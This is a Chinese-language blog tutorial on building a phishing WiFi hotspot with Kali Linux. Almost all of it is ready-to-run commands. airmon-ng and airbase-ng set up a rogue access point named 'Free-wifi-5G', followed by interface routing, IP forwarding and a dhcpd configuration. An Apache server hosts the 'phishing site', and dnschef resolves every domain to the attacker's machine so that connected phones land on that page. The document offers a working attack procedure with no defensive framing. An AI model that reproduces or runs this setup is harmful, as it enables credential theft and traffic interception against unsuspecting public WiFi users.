0x00 将网卡切换到监听模式并创建热点
airmon-ng start wlan0
这里是建立监听模式
如果出现wlan0mon则表示成功!
接下来创建热点
airbase-ng -e Free-wifi-5G -c 11 wlan0mon
如果出现以下,则表示创建热点成功,注意窗口不要关!!!
文章图片
但是这个时候手机可以搜到名为“Free-wifi-5G”的热点且无法连接,是因为没有分配IP
0x01 建立虚拟网卡并打开IP转发功能 首先重新打开一个终端,之前那个终端一定不要关!!!
这一步的意义是将这张网卡的流量转发到虚拟网卡上
ifconfig at0 up
ifconfig at0 192.168.6.1 netmask 255.255.255.0
route add -net 192.168.6.0 netmask 255.255.255.0 gw 192.168.6.1
echo 1 > /proc/sys/net/ipv4/ip_forward
创建一个虚拟网卡at0并设置ip,子网掩码和网关
0x02 配置DHCP服务器 这里使用dhcpd来作为DHCP服务器
vim /etc/dhcp/dhcpd.conf
在dhcpd.conf里复制粘贴以下内容
ddns-update-style none;
authoritative;
default-lease-time 700;
max-lease-time 8000;
subnet 192.168.6.0 netmask 255.255.255.0 {
option routers 192.168.6.1;
option subnet-mask 255.255.255.0;
option domain-name-servers 192.168.6.1;
range 192.168.6.20 192.168.6.240;
}
#第四行:默认租约时间这里需要一些网络基础,不懂得同学就直接复制粘贴上面代码框内容就可以
#第五行:设置最大租约时间
#第七行:设置子网属性,netmask关键字指定子网掩码
#第八行:指定为客户机分配的默认网关地址
#第九行:指定为客户机分配的子网掩码地址
#第十行:设置DNS服务器地址
#第十一行:设置动态分配的IP地址范围
这里vim需要用到的操作:然后启动DHCP服务器
i #插入模式
ESC键返回命令模式
: #输入命令
wq #回车保存退出
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
出现以下,就表示启动成功了
0x03 搭建钓鱼网站 这里使用apache搭建
网站路径在/var/www/html/下
只需要将钓鱼网站的源码放在这里就可以
这里教程就随便新建一个index.html做测试用
Hello!!!
Are u ok???
然后启动apache服务
service apache2 start
打开浏览器访问自己ip,如看到以下表示成功
0x04 劫持DNS 接下来要让连到我们钓鱼WIFI的人访问这个网页就需要DNS来进行解析
前面DHCP分配ip的时候就已经把DNS服务器指向我们了
这里就不需要重新搭建DNS服务器了
所以这里我们使用dnschef这个工具就可以了
dnschef -i 192.168.6.1 --fakeip 192.168.6.1
这条命令的作用是监听192.168.6.1并将所有域名泛解析成192.168.6.1也就是本地
文章图片
0x05 现在,我们可以拿出手机进行测试了 可以看到我的手机已经连接到我的钓鱼热点
文章图片
并已经自动获取到我们设置的IP和DNS
文章图片
不论你输入什么网站都会自动跳转到我们的界面
文章图片
文章图片
文章图片
0x06 测试结束 【Kali|Kali Linux 如何搭建钓鱼WIFI(图文炒鸡详细)】由于使用真实机做的测试,所以拍照用了手机摄像头进行拍照,不是很清晰
真实机实验IP为6.12.0.1,本文配图仅供对比参考
如果有什么不清楚的地方可以问我
推荐阅读
- Kali|Kali字典正确使用姿势
- Kali|【Kali】手把手教你设置Kali源地址以及更新源和安装所有工具命令
- Linux之ss命令
- 服务器|安装zerotier实现内网穿透
- 爱倒腾|完美校园打卡【云服务器搭建】
- 技术教程|傻妞反向ws连接被关闭,关闭码1006 ,将在3000毫秒后尝试连接
- 笔记|小白 虚拟机 kali_Linux安装 详细教程
- linux|【教程】使用腾讯云轻量应用服务器搭建二次元聊天系统,保姆级超详细教程!
- linux /bin/sh -c的用途